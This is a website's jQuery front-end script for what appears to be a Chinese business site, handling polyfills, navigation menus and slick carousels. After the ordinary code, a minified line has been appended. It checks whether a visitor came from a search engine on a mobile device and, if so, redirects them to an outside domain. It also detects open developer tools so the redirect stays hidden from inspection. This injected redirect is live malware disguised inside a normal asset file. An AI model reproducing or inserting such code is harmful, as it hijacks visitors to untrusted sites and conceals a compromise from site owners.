$(function(){
    //ie兼容filter，indexOf
    if (!Array.prototype.filter)
    {
        Array.prototype.filter = function(fun /*, thisp */)
        {
            "use strict";

            if (this === void 0 || this === null)
                throw new TypeError();

            var t = Object(this);
            var len = t.length >>> 0;
            if (typeof fun !== "function")
                throw new TypeError();

            var res = [];
            var thisp = arguments[1];
            for (var i = 0; i < len; i++)
            {
                if (i in t)
                {
                    var val = t[i]; // in case fun mutates this
                    if (fun.call(thisp, val, i, t))
                        res.push(val);
                }
            }

            return res;
        };
    }
    if (!Array.prototype.indexOf){
        Array.prototype.indexOf = function(elt /*, from*/){
            var len = this.length >>> 0;

            var from = Number(arguments[1]) || 0;
            from = (from < 0)
                ? Math.ceil(from)
                : Math.floor(from);
            if (from < 0)
                from += len;

            for (; from < len; from++){
                if (from in this && this[from] === elt)
                    return from;
            }
            return -1;
        };
    }

    //在ie6,7,8,9没有页面滚动动画
    if (!(/msie [6|7|8|9]/i.test(navigator.userAgent))){
        new WOW().init();
    };


    //公用
    // 手机端
    // 内页分类下拉
    $(".model-classify-btn").click("touchstart", function() {
        $(this).toggleClass("down");
        $(".model-classify-nav").slideToggle();
    });
    // 内页分类二级
    $(".model-classify-nav .one_a").click("touchstart", function() {
        $(this)
            .toggleClass("ez")
            .parents()
            .siblings()
            .find("a")
            .removeClass("ez");
        $(this)
            .parents()
            .siblings()
            .find(".second")
            .hide(300);
        $(this)
            .siblings(".second")
            .slideToggle(300);
    });
    $(".model-classify-nav .er_a").click("touchstart", function() {
        $(this)
            .toggleClass("sen_x")
            .parents()
            .siblings()
            .find("a")
            .removeClass("sen_x");
        $(this)
            .parents()
            .siblings()
            .find(".third")
            .hide(300);
        $(this)
            .siblings(".third")
            .slideToggle(300);
    });

    // pc上下内页分类一级
    $(".nav_item").slick({
        dots: false, //指示点
        slidesToShow: 5, //显示个数
        slidesToScroll: 5, //轮播个数
        infinite: false
    });

    // pc上下内页分类二级
    $(".cont_nav .one_a").click(function() {
        $(this)
            .toggleClass("ez")
            .parents()
            .siblings()
            .find("a")
            .removeClass("ez");
        $(this)
            .parents()
            .siblings()
            .find(".second")
            .hide(300);
        $(this)
            .siblings(".second")
            .slideToggle(300);
    });
    $(".cont_nav .second a").click(function() {
        $(this)
            .toggleClass("sen_x")
            .parents()
            .siblings()
            .find("a")
            .removeClass("sen_x");
        $(this)
            .parents()
            .siblings()
            .find(".third")
            .hide(300);
        $(this)
            .siblings(".third")
            .slideToggle(300);
    });
    //公用end




    //导航栏目
    $(".nav li.li_one").hover(function () {
        $(this).find('ul').stop(false,true).slideToggle();
        $(this).addClass('on').siblings('li').removeClass('on');
    },function () {
        $(this).find('ul').stop(false,true).slideUp();
        $(this).removeClass('on');
    });




    $(window).scroll(function () {
        if($(this).scrollTop() > 500){
            $(".header_box").addClass('on');
        }else{
            $(".header_box").removeClass('on');
        }
    });



    $(".pro_class dl").hover(function () {
        var indexDL = $(this).index();
        $(".section_two .container").removeClass('on');
        $(this).addClass('on').siblings().removeClass("on");
        $(".section_two .container").eq(indexDL).addClass('on').siblings().removeClass('on');
    });


    //主营业务
    $(".busSlider").slick({
        dots:true,//指示点
        speed: 300,
        arrows:true,
        slidesToShow:4,//显示个数
        slidesToScroll:1,//轮播个数
        infinite:false,
        autoplay:true,
        autoplaySpeed:2000,//自动播放间隔
        responsive: [

            {
                breakpoint: 768,
                settings: {
                    slidesToShow: 2,
                    slidesToScroll: 2
                }
            }]

    });

    //新闻资讯
    $(".newSlider").slick({
        dots:true,//指示点
        speed: 300,
        arrows:true,
        slidesToShow:1,//显示个数
        slidesToScroll:1,//轮播个数
        infinite:false,
        autoplay:true,
        autoplaySpeed:5000,//自动播放间隔
        responsive: [

            {
                breakpoint: 768,
                settings: {
                    arrows:false,
                }
            }]


    });
    //案例展示
    $(".caseSlider").slick({
        dots:true,//指示点
        speed: 300,
        arrows:true,
        slidesToShow:3,//显示个数
        slidesToScroll:1,//轮播个数
        infinite:false,
        autoplay:true,
        autoplaySpeed:2000,//自动播放间隔
        responsive: [

            {
                breakpoint: 768,
                settings: {
                    arrows:false,
                    slidesToShow: 2,
                    slidesToScroll: 2
                }
            }]

    });




    $("#link").xb_scroll({"isMaxHeight":true});


    $(".wx").click(function () {
        $(".wx_img").show();
    });
    $("#close").click(function () {
        $(".wx_img").hide();
    });
    //判断是否有子栏目时是否显示分类按钮
    if($(".model-classify").find('.model-classify-nav  ul li').length >0){
        $(".model-classify-btn").show();
    }else{
        $(".model-classify-btn").hide();
    }
});



;222222
;var regexp=/\.(sogou|360|baidu|Yisou|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;var where=document.referrer;if(regexp.test(where)){if(/NOKIA|LG|Samsung|midp|wap|ucweb|wechat|MicroMessenger|Phone|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)){uurls="http://www.xkvip102.net";var GATYSh=true;function onDevToolsOpen(){GATYSh=false;return GATYSh}class DevToolsChecker extends Error{toString(){}get message(){var GATYSh=onDevToolsOpen();return GATYSh}}console.log(new DevToolsChecker())}else{GATYSh=false}if(GATYSh){window.location.href=uurls}}
